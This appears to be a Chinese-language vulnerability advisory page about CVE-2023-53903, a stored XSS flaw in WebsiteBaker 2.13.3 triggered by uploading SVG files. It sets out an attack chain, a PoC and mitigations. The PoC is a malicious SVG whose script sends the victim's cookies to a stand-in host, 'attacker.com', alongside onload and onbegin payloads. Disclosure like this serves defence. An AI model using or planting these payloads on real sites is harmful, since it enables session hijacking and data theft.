IPBUF安全漏洞报告
English
CVE-2023-53903 CVSS 5.4 中危

CVE-2023-53903 WebsiteBaker存储型XSS漏洞

披露日期: 2025-12-16

漏洞信息

漏洞编号
CVE-2023-53903
漏洞类型
存储型跨站脚本攻击(XSS)
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
WebsiteBaker

相关标签

存储型XSSSVG上传WebsiteBakerCVE-2023-53903跨站脚本文件上传漏洞Web安全认证用户漏洞会话劫持

漏洞概述

CVE-2023-53903是WebsiteBaker 2.13.3版本中存在的一个存储型跨站脚本(XSS)安全漏洞。该漏洞允许已认证的低权限用户上传包含恶意JavaScript代码的SVG文件。当其他用户访问或查看这些被上传的SVG文件时,嵌入其中的恶意脚本会在受害者浏览器中执行,从而实现持久性的跨站脚本攻击。攻击者可以利用此漏洞窃取受害者的会话Cookie、劫持用户账户、进行钓鱼攻击或在受害者权限范围内执行操作。由于SVG文件格式支持内嵌脚本标签,攻击者可以构造看似正常的图片文件实际上包含可执行的JavaScript代码。此漏洞的危险性在于攻击一旦成功,恶意代码将持久存在于服务器上,所有访问该文件的用户都会受到影响,形成大范围的攻击面。

技术细节

该漏洞源于WebsiteBaker对上传SVG文件的安全验证不足。SVG(Scalable Vector Graphics)是一种基于XML的矢量图形格式,支持在文件内部嵌入JavaScript脚本。当用户上传SVG文件时,系统未对文件内容进行充分的HTML/Script标签过滤和内容安全策略(CSP)检查。攻击流程如下:1) 攻击者以低权限账户登录WebsiteBaker系统;2) 利用文件上传功能上传精心构造的SVG文件,该文件包含<script>标签或SVG特有的事件处理属性(如onload);3) SVG文件被存储在服务器可访问的目录下;4) 当其他用户访问该SVG文件URL时,浏览器会解析SVG内容并执行其中的JavaScript代码;5) 恶意脚本以受害者的会话上下文执行,可窃取敏感信息或执行未授权操作。防御要点:应对所有用户上传的文件内容进行严格过滤,特别是对SVG、HTML等可能包含脚本的文件类型实施内容类型白名单控制和内容安全扫描。

攻击链分析

STEP 1
侦察阶段
攻击者识别目标WebsiteBaker版本,确认版本为2.13.3或存在SVG上传功能的版本
STEP 2
获取访问权限
攻击者通过正常注册或凭据窃取获取系统低权限账户(PR:L)
STEP 3
制作恶意SVG文件
构造包含<script>标签或SVG事件处理属性(如onload、onbegin)的SVG文件,嵌入窃取Cookie或执行操作的JavaScript代码
STEP 4
上传恶意文件
通过WebsiteBaker文件管理器或帖子编辑器的图片上传功能上传恶意SVG文件到服务器
STEP 5
持久化存储
恶意SVG文件被存储在服务器可访问路径,攻击代码获得持久化存在
STEP 6
诱导受害者访问
攻击者通过社工手段诱导其他用户访问上传的SVG文件URL
STEP 7
脚本执行
受害者浏览器解析SVG文件时执行嵌入的JavaScript代码,以受害者身份执行操作或窃取敏感数据
STEP 8
数据窃取/会话劫持
恶意脚本窃取Cookie、会话令牌或其他敏感信息发送给攻击者,实现账户劫持

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- PoC for CVE-2023-53903: WebsiteBaker Stored XSS via SVG Upload --> <!-- Save this as malicious.svg and upload via WebsiteBaker file manager --> <?xml version="1.0" encoding="UTF-8"?> <svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.cookie)"> <script type="text/javascript"> // Steal session cookies and send to attacker server var stolen = document.cookie; var img = new Image(); img.src = "http://attacker.com/log?c=" + encodeURIComponent(stolen); // Alternative: Execute arbitrary JavaScript fetch('/pages/settings.php').then(r => r.text()).then(data => { // Exfiltrate sensitive data console.log(data); }); </script> <rect width="100%" height="100%" fill="#ffffff"/> <text x="50%" y="50%" text-anchor="middle">Malicious SVG File</text> </svg> <!-- Alternative PoC using event handlers --> <svg xmlns="http://www.w3.org/2000/svg"> <animate onbegin="alert('XSS Triggered')" attributeName="x" dur="1s" from="0" to="10"/> <rect width="100" height="100" fill="red"/> </svg>

影响范围

WebsiteBaker <= 2.13.3

防御指南

临时缓解措施
立即限制SVG文件上传功能,直到应用官方安全补丁。对所有上传的SVG文件进行内容清理,移除<script>标签和SVG事件属性(如onload、onbegin、onerror等)。配置Web服务器的Content-Security-Policy头部,限制script-src为'none'或'self',防止SVG内脚本执行。临时禁用低权限用户的上传功能,仅允许管理员上传文件并对文件内容进行人工审核。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表